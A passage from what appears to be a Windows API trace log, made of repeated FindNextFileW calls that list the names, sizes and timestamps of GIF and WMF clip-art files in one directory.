nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0075.923] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0076.021] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0076.021] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0076.022] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0076.023] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0076.024] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0076.024] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0076.024] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0076.111] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, 